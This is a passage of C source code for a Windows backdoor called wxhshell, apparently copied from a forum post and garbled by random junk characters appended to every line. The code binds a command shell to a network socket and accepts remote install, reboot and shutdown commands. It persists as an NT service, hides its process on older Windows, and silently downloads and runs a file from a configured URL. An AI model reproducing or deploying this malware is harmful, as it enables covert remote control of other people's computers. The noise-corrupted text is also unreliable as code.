  l=NAq_?N\  
  // 帮助 70=(. [^+  
  case '?': { B j=@&;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =]d^3bqN  
    break; 5W{hH\E _5  
  } W0|_]"K-  
  // 安装 ThiN9! Y  
  case 'i': { xU:4Y0y8  
    if(Install()) `0z/BCNB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B.RRdK+:  
    else y;r"+bS8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m_$JWv\|\  
    break; \ j:AR4  
    } xG w?'\  
  // 卸载 F1J#Y$q~L  
  case 'r': { IX.sy  
    if(Uninstall()) V]m^7^m3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - f 4>MG  
    else !xymoiArp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pALJl[Cb  
    break; k,lqT>C  
    } l#ZyB|  
  // 显示 wxhshell 所在路径 %p*`h43;  
  case 'p': { iJ4 <f->t  
    char svExeFile[MAX_PATH]; %Co b(C&}  
    strcpy(svExeFile,"\n\r"); }k| g%H J  
      strcat(svExeFile,ExeFile); sjb-Me?  
        send(wsh,svExeFile,strlen(svExeFile),0); VfRs[ 3Q  
    break; 3A d*,>!  
    } P#v^"}.Wd  
  // 重启 O{nC^`X  
  case 'b': { g}YToOs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B*2{M  
    if(Boot(REBOOT)) >] -<uT_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7$3`t 6u  
    else { )tvc/)&A}  
    closesocket(wsh); _0m}z%rI  
    ExitThread(0); F^]aC98]1  
    } !?6.!2  
    break; qsTq*G  
    } "vsjen.K>  
  // 关机 $ hoYkA  
  case 'd': { ,6RQvw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !]G jIT]Oh  
    if(Boot(SHUTDOWN)) /cYk+c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@EZ;[  
    else { Kk`<f d  
    closesocket(wsh); G>JxIrN0  
    ExitThread(0); J+i X,X  
    } hwp/jO:7\  
    break;  tI'e ctn  
    } \QiqcD9Y  
  // 获取shell _Qg{ ;  
  case 's': { aoK4Du{  
    CmdShell(wsh); Txu>/1N,  
    closesocket(wsh); aX]y`  
    ExitThread(0); Lg b  
    break; 1 0V+OIC  
  } t"tNtLI  
  // 退出 q 7`   
  case 'x': { =O,e97  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gkLr]zv  
    CloseIt(wsh); oW8;^u  
    break; f@L \E>t  
    } *5^ze+:  
  // 离开 TD%WJ9K\  
  case 'q': { Fos1WH?\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eiOi3q  
    closesocket(wsh); v >NTh  
    WSACleanup(); kHZKj!!R  
    exit(1); so'eZ"A:  
    break; TZkTz P[  
        } pIL`WE1'  
  }  *6'_5~G  
  } hl}dgp((  
[-QK$~[ g  
  // 提示信息 x7Eeb!s0f,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h|)2'07  
} (KZUvsSk  
  } +Z]y #=  
Y[T J;O!R  
  return; 95VqaR,  
} 80cm6?,xu  
N4tc V\O  
// shell模块句柄 pc^E'h:  
int CmdShell(SOCKET sock) aQC 7V!v  
{ ?fm2qrV@fp  
STARTUPINFO si; \#HL`R"  
ZeroMemory(&si,sizeof(si)); ;B(;2.<"J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E#m76]vkCU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L{zamVQG  
PROCESS_INFORMATION ProcessInfo; e_\SSH @tw  
char cmdline[]="cmd"; i;gw= Be  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -g~iE]x6Y  
  return 0; VB}PNg  
} s9=pV4fA~w  
O $YJku  
// 自身启动模式 !P+~ c0DF  
int StartFromService(void) CR P7U  
{ Z5 w`-#  
typedef struct Tm0?[[3hC  
{ [sjrb?Xd  
  DWORD ExitStatus; M,I68  
  DWORD PebBaseAddress; F@oT7NB/n  
  DWORD AffinityMask; VNr!|bp5  
  DWORD BasePriority; 4c~*hMr y  
  ULONG UniqueProcessId; zaQ$ Ht  
  ULONG InheritedFromUniqueProcessId; 3~#ZE;>#  
}   PROCESS_BASIC_INFORMATION; G;87in ,}  
2nVuz9h  
PROCNTQSIP NtQueryInformationProcess; 9(V=Ubj  
+*WUH513  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hn*}5!^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ':9%3Wq]j  
@w+WLeJ$40  
  HANDLE             hProcess;  eYPt  
  PROCESS_BASIC_INFORMATION pbi; /2=_B4E2  
f'8B[&@L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i+kFL$N  
  if(NULL == hInst ) return 0; \ >&@lA  
V7qCbd^>XJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1v+JCOy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qQ3 ]E][/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EY=\C$3J:  
17?NR\Q  
  if (!NtQueryInformationProcess) return 0; 7] R6  
1==P.d(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bgkbwE  
  if(!hProcess) return 0; yL^M~lws  
>^2ZM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e/g<<f-  
Nn~tb2\vk  
  CloseHandle(hProcess); `HMligT  
Te{aB"B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^R&_}bp  
if(hProcess==NULL) return 0; <T4 7kLI  
1mvu3}ewx  
HMODULE hMod; w-{#6/<kI5  
char procName[255]; E` :ZH  
unsigned long cbNeeded; !8H!Fj`|j  
TPN:cA6[c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &VtWSq-)  
Qr^Z~$i t  
  CloseHandle(hProcess); A= \'r<:  
*+4>iL*:  
if(strstr(procName,"services")) return 1; // 以服务启动 f=-!2#%  
zM3H@;}m  
  return 0; // 注册表启动 nA{ncTg1\  
} ][T9IAn  
fJ|Bu("N  
// 主模块 f z/?=  
int StartWxhshell(LPSTR lpCmdLine) MZ >0K  
{ g~i''lng  
  SOCKET wsl; ?(|TP^  
BOOL val=TRUE; 9OO0Ht4j  
  int port=0; ]DL> .<]d  
  struct sockaddr_in door; ,Jw\3T1V  
.~V".tZV[  
  if(wscfg.ws_autoins) Install(); x0TnS #  
*IjdN,wox  
port=atoi(lpCmdLine); VdjU2d  
Cz$H k;3\6  
if(port<=0) port=wscfg.ws_port; jSOa   
]e#,\})Br  
  WSADATA data; \6nQ-S_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wnZ*k(  
Z]1z*dv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A1=$kzw{UH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [xp~@5r'  
  door.sin_family = AF_INET; <*b]JY V@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <7sF<KD  
  door.sin_port = htons(port); |{}d5Z"5;}  
?$`1%Y9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KqG$zC^N  
closesocket(wsl); ` i^`Q  
return 1; c=jTs+h'  
} *n$m;yI  
z!Pdivx  
  if(listen(wsl,2) == INVALID_SOCKET) { }hObtAS  
closesocket(wsl); hz>yv@1  
return 1; S{`!9Pii  
} F?+Uar|-a  
  Wxhshell(wsl); |tolgdj  
  WSACleanup(); o+6^|RP  
J T0,Z  
return 0; $O8EiC!f6  
iX9[Q0g=oQ  
} k*UR# z(I  
s/p>30Fg  
// 以NT服务方式启动 9b=^"K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )oz-<zW  
{ e5:l6`  
DWORD   status = 0; =O}%bZ)Q  
  DWORD   specificError = 0xfffffff; 8zB+%mcF  
5e~{7{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #/ gme  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )4o=t.O\K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,:Rq  
  serviceStatus.dwWin32ExitCode     = 0; 6lH>600]u  
  serviceStatus.dwServiceSpecificExitCode = 0; @Tm0T7C  
  serviceStatus.dwCheckPoint       = 0; EssUyF-jwU  
  serviceStatus.dwWaitHint       = 0; Z:o' +oh  
v'2OHb#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kw5+4R(5  
  if (hServiceStatusHandle==0) return; bju,p"J1-E  
"351s3ff  
status = GetLastError(); ]a Ma*fF  
  if (status!=NO_ERROR) ~]t2?SqNm  
{ BzG!Rg|J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `- uZv  
    serviceStatus.dwCheckPoint       = 0; (^@;`8Dy8  
    serviceStatus.dwWaitHint       = 0; uBL~AC3>O  
    serviceStatus.dwWin32ExitCode     = status; xr7<(:d  
    serviceStatus.dwServiceSpecificExitCode = specificError; :O @,Z_"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O.40^u~  
    return; IB]VPj5  
  } &V,-W0T_  
AQBx k[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `X]2iz  
  serviceStatus.dwCheckPoint       = 0; /\Y%DpG$  
  serviceStatus.dwWaitHint       = 0; ~ @"Qm;} "  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gCBZA;/  
} Uc%`? +Q  
iRr& 'k  
// 处理NT服务事件,比如:启动、停止 M6>\R$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /-<m(72wF  
{ n*8RYm)?  
switch(fdwControl) gQzJ2LU(  
{ 0_xcrM  
case SERVICE_CONTROL_STOP: bU +eJU_%  
  serviceStatus.dwWin32ExitCode = 0; J;]@?(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NB6h/0*v  
  serviceStatus.dwCheckPoint   = 0; #L*@~M^]  
  serviceStatus.dwWaitHint     = 0; H fmMf^c  
  { BrH`:Dw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Us$y0W\  
  } @snLE?g j  
  return; x`|tT%q@l  
case SERVICE_CONTROL_PAUSE: ]e3}9.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uC8T!z  
  break; 0Ukl#6  
case SERVICE_CONTROL_CONTINUE: (j8,n<o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q9'p3"yoE  
  break; $4~}_phi  
case SERVICE_CONTROL_INTERROGATE: a_fW {;}[  
  break; LyPBFo[?  
}; ?Dp^dR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s$y#Ufz  
} /v ;Kb|e  
a0W\?  
// 标准应用程序主函数 arH\QPaka'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kp>Z/kt  
{ 36Y[7 m=  
I z=w2\r  
// 获取操作系统版本 Xs,PT  
OsIsNt=GetOsVer(); rls#g w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \rnG 1o  
FoXQ]X7"  
  // 从命令行安装 -v+^x`HR  
  if(strpbrk(lpCmdLine,"iI")) Install(); BNm va  
WatLAn+  
  // 下载执行文件 5 nIlG  
if(wscfg.ws_downexe) { qO3BQ]UF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8}E(UsTa  
  WinExec(wscfg.ws_filenam,SW_HIDE); (c|qX-%rC  
} O)Dw<j)  
$U.'K!B  
if(!OsIsNt) { *t*&Q /W  
// 如果时win9x,隐藏进程并且设置为注册表启动 zMqEMx9  
HideProc(); \B ^sJ[n  
StartWxhshell(lpCmdLine); tNf" X !  
} A =#-u&l  
else ?{P6AF-xcf  
  if(StartFromService()) scEQDV  
  // 以服务方式启动 1E_Ui1[  
  StartServiceCtrlDispatcher(DispatchTable); `-YSFQ~O,  
else xi^e =:;`  
  // 普通方式启动 ]TprPU39  
  StartWxhshell(lpCmdLine); P&`r87J  
l%5%oN`4  
return 0; [MP :Eeg  
}
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只看该作者 1 发表于: 2006-10-10
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